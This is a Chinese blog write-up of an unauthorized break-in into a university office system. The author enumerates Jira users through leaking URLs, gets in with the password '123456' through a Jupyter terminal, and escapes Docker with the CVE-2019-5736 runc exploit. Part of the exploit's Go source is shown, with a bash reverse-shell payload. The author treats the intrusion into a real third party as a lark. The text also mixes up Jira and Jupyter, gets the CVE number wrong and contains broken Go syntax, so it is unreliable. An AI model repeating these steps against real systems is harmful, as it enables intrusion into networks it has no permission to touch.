偶然的一次渗透从弱口令->docker逃逸
作者:互联网
0x01 前言
前两天一直在学习Python造轮子,方便自己前期信息收集,测试脚本进行批量扫描的时候,无意中点开的一个带有edu域名,便有此文。
0x02 前期信息收集
Web整体架构:
操作系统:Ubuntu
Web服务器: Nginx+Java
端口开放信息: 80 443
目录扫描结果
0x03 挨个测试
可以看到,扫描到了一个"jira目录",猜想是Jupyter NoteBook组件.
访问果不其然,Jupyter组建的登陆点
其他3个有效目录都是登陆点
-
gitlab
-
ownclou
-
confluence
我晕~要让我爆破吗,先放着.由于Jupyter组件,到网上查阅历史漏洞
我晕~要让我爆破吗,先放着,由于Jupyter组件,到网上查阅历史漏洞
未授权+2个信息泄露
未授权访问漏洞修复了,需要密码
利用信息泄露爆用户
Exp1:
/jira/secure/ViewUserHover.jspa?username=admin
Exp2:
/jira/rest/api/latest/groupuserpicker?query=admin&maxResults=50&showAvatar=true
存在用户的话是会返回用户信息的,然后爆破~
爆破出一个“Kevin”用户
掏出我珍藏几天的字典爆密码去~
然后啥也没
0x04 突破点
剩下最后一个登陆口了,修复了的未授权访问,怎么不修信息泄露呢?
随手一个"123456"
竟然...给我进来了(人要傻了)
那么就好办了,按照历史漏洞
New->Terminal
直接可以执行命令
习惯性的去根目录,看看有啥文件
看到'.dockerenv'文件,不是吧不是吧,在裸奔的我有点慌,难道踩罐了?
查询系统进程的cgroup信息
docker没错了,蜜罐的可能性不大,因为是部署在某知名大学的一个办公系统的.
0x05 docker逃逸
之前从没实战碰到过docker,也没复现过docker逃逸这个洞,这个点就折腾了比较久.
参考文章: https://www.freebuf.com/articles/web/258398.html
CVE-2019-5376这个漏洞是需要重新进入docker才能触发.才能弹回来shell的.而我们上面正好是可以直接进入docker终端,于是尝试利用
Poc:
https://github.com/Frichetten/CVE-2019-5736-PoC
修改main.go此处更改为弹shell命令
package main
// Implementation of CVE-2019-5736
// Created with help from @singe, @_cablethief, and @feexd.
// This commit also helped a ton to understand the vuln
// https://github.com/lxc/lcx/commit/6400238d08cdf1ca20d49bafb85f4e224348bf9d
import (
"fmt",
"io/ioutil"
"os"
"strconv"
"strings"
)
// This is the line of shell commands that will execute on the host
var payload = "#!/bin/bash \n bash -i >& xxxxxxxxxxxxxxxxxxxxxxxxxxx 0>&1"
func main() {
// First we overwrite /bin/sh with the /proc/self/exe interpreter path
fd, err := os.Create("/bin/sh")
if err != nil {
fmt.Println(err)
return
}
fmt.Fprintln(fd, "#!/proc/self/exe")
err = fd.Close()
if err != nil {
fmt.Println(err)
return
}
fmt.Println("[+] Overwritten /bin/sh successfully")
// Loop through all processes to find one whose cmdline includes runcinit
// This will be the process created by runc
var found int
for found == 0 {
完了之后发现自己没有go语言环境
听说Mac自带go语言环境,认识个表哥正好用的Mac,于是找他帮忙编译
这就是"尊贵的Mac用户"吗,哈哈哈哈
自己折腾了一套go语言环境也是成功编译了.
到之前弱口令进入的Jupyter组件上传exp到目标Web站点
我们这边VPS监听1314端口
靶机运行我们的Exp
然后我们回到Jupyter那个组件,重新进入终端界面
然后莫名其妙没弹回来shell,乱晃悠发现是我自己VPS端口问题,换个端口,成功弹回来主机shell
结语
貌似部署在阿里云上面的,未授权原因就不再继续深入了,交洞收工!
标签:shell,Jupyter,err,fmt,口令,go,从弱,docker 来源: https://blog.csdn.net/zhangge3663/article/details/111942422